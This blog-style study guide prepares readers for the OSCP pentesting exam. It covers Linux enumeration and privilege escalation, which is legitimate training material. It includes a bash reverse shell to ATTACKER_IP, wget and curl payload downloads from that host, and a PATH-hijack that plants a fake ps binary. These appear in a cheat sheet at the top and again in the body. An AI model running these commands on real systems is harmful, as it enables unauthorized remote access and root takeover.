Linux for OSCP: The Penetration Tester’s Roadmap (2025 Guide)
Master the Linux fundamentals, enumeration workflow, and privilege escalation vectors that dominate the OSCP exam.
⭐ Introduction: Why Linux Mastery Is Critical for OSCP
If you’re preparing for the OffSec OSCP certification, your success hinges on one core skill:
👉 You must be fluent in Linux.
Not “I know how to use ls and cd” fluent —
but “I understand how Linux systems work from the ground up” fluent.
Why?
Because 90% of OSCP machines
✔️ run Linux,
✔️ require deep enumeration, and
✔️ demand smart privilege escalation using Linux internals.
This guide breaks down the exact Linux roadmap needed for OSCP—file system fundamentals, quick manual checks, automated scanning, local recon, and the five PrivEsc vectors that appear again and again on exam boxes.
whoami
Current user
Click to show explanation
id
UID, GID & groups
Click to show explanation
groups
Group memberships
Click to show explanation
uname -a
Kernel info
Click to show explanation
sudo -l
Sudo permissions
Click to show explanation
history
Command history
Click to show explanation
chmod +x linpeas.sh
Make LinPEAS executable
Click to show explanation
./linpeas.sh
Run LinPEAS
Click to show explanation
timeout 300 ./linpeas.sh
Safe LinPEAS run
Click to show explanation
ss -tuln
Listening services
Click to show explanation
netstat -tuln
Alt service list
Click to show explanation
find / -perm -u=s -type f 2>/dev/null
Find SUID binaries
Click to show explanation
crontab -l
User cron jobs
Click to show explanation
ls -la /etc/cron.*
System cron jobs
Click to show explanation
getcap -r / 2>/dev/null
Linux capabilities scan
Click to show explanation
echo "/bin/bash" > /tmp/ps
Fake ps binary
Click to show explanation
chmod +x /tmp/ps
Make fake binary executable
Click to show explanation
export PATH=/tmp:$PATH
PATH hijack
Click to show explanation
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
Reverse shell
Click to show explanation
python3 -c 'import pty; pty.spawn("/bin/bash")'
Shell upgrade
Click to show explanation
python3 -m http.server 80
Simple web server
Click to show explanation
wget http://ATTACKER_IP/linpeas.sh
Download via wget
Click to show explanation
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh
Download via curl
Click to show explanation
🌲 1. Linux Fundamentals: Know Your Terrain
Before you escalate privileges or compromise a system, you need to understand its structure.
📁 The Linux File System Hierarchy (FHS)
Get comfortable with these directories—their purpose often reveals attack opportunities.
Directory | What It Contains |
|---|---|
/etc | System-wide configuration files (“the brain”) |
/home | User personal directories |
/root | Special home directory for the root user |
/var | Variable data like logs (e.g., |
/tmp | Temporary files; world-writable → often privilege-escalation gold |
/bin & /sbin | Essential system binaries and admin tools |
/boot | Kernel and bootloader files |
Understanding these directories helps you quickly identify misconfigurations, logs, sensitive data, and binary permissions.
🔐 Critical Authentication Files
Two files matter more than any others during Linux PrivEsc:
/etc/passwd
World-readable
Stores: usernames, UIDs, shells, comments
If you see a real hash here → major vulnerability
/etc/shadow
Root-only
Stores encrypted password hashes
If readable → instant root
Memorize these two — they appear in nearly every OSCP box.
👁️ 2. OSCP Workflow: Enumeration Is Everything
The #1 OSCP rule:
If you fail PrivEsc, it’s because you failed enumeration.
Your process should always follow the same structure:
🕒 Phase 1: Initial Manual Checks (First 20 Minutes)
These quick commands reveal:
✔️ who you are
✔️ what you can access
✔️ your environment
✔️ your privilege boundaries
Run immediately:
whoami
id
groups
uname -a
sudo -l
history
Critical First Check
sudo -l
This single command has given countless OSCP students full root.
🔎 Phase 2: Automated Comprehensive Scan
Use LinPEAS for deep, structured enumeration.
chmod +x linpeas.sh
./linpeas.sh
Pro Tip: Use a timeout so the script doesn’t hang.
timeout 300 ./linpeas.sh
🔥 Key Strategy
Look for anything highlighted in red or yellow:
SUID binaries
Cron jobs
World-writable paths
PATH hijacking opportunities
Linux capabilities
LinPEAS will literally point you toward the PrivEsc vector.
🌐 Phase 3: Local Network Recon
Many OSCP boxes require pivoting through local services.
Check listening services:
ss -tuln
or
netstat -tuln
Focus:
Internal admin panels
Local-only web services
Misconfigured daemons
PrivEsc attack surfaces
⚡ 3. The Top 5 Privilege Escalation Vectors (OSCP 2025)
Master these five, and you'll root almost every exam machine.
1. Sudo Abuse
If you can run any binary with sudo (even without a password), check GTFOBins:
Often exploited through:
awkvimfindpythonlesstar
2. SUID/SGID Binaries
Identify binaries with root permissions:
find / -perm -u=s -type f 2>/dev/null
Common exploitable binaries include:
nmapvimbashcpfind
Again, GTFOBins is your best friend.
3. Insecure Cron Jobs
Look for scripts run by root on a schedule:
crontab -l
ls -la /etc/cron.*
Exploit when:
The script is writable
The directory is writable
The script calls external commands using relative paths
4. PATH Hijacking
If a script calls a binary without using absolute paths, you can hijack execution.
Technique:
echo "/bin/bash" > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
When root’s cron runs ps, you get root.
5. Linux Capabilities
Check for binaries with granular capabilities:
getcap -r / 2>/dev/null
Dangerous capabilities include:
CAP_SYS_ADMIN
CAP_DAC_OVERRIDE
CAP_SETUID
CAP_CHOWN
Misconfigured capabilities → instant PrivEsc.
🧰 4. The Pentester’s Toolkit (Must-Know Commands)
📞 Getting a Reverse Shell
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
🐍 Stabilizing the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
📦 Transferring Files
From your machine:
python3 -m http.server 80
On the target:
wget http://ATTACKER_IP/linpeas.sh
or:
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh
🗻 5. Your Most Important Resource: GTFOBins
GTFOBins is a curated list of Linux binaries that can be abused for:
✔️ Sudo PrivEsc
✔️ SUID PrivEsc
✔️ File read/write
✔️ Reverse shells
✔️ Capability abuse
Use it on every OSCP machine.
🎯 Final Thoughts: Master Linux, Master OSCP
Becoming OSCP-ready is not about guessing exploits. It’s about:
✔️ understanding Linux deeply
✔️ performing structured enumeration
✔️ recognizing PrivEsc patterns
✔️ staying calm and methodical under pressure
This roadmap covers every major Linux topic you need to pass OSCP—and every item on this list appears repeatedly across OSCP labs and exam machines.
⭐ About FlashGenius
FlashGenius is your AI-powered certification prep platform offering practice tests, micro-lessons, lab-style training, and cheat sheets for cybersecurity certifications like GSEC, GCFA, Security+, CCNA, BCBA, AWS, Azure, and more.
We focus on scenario-based learning, smart question generation, and interactive study tools that help you learn faster, remember better, and pass confidently.
Explore hundreds of free resources at:
👉 https://FlashGenius.net
OSCP Certification: Ultimate 2025 Guide to Passing OSCP
Planning your OSCP journey? This step-by-step 2025 guide breaks down skills you need, lab strategy, reporting tips, and a realistic study plan so you don’t waste time on the wrong topics.
- Core OSCP skills and tools to master
- Practical lab & exam-day strategies
- Suggested 30–90 day study roadmap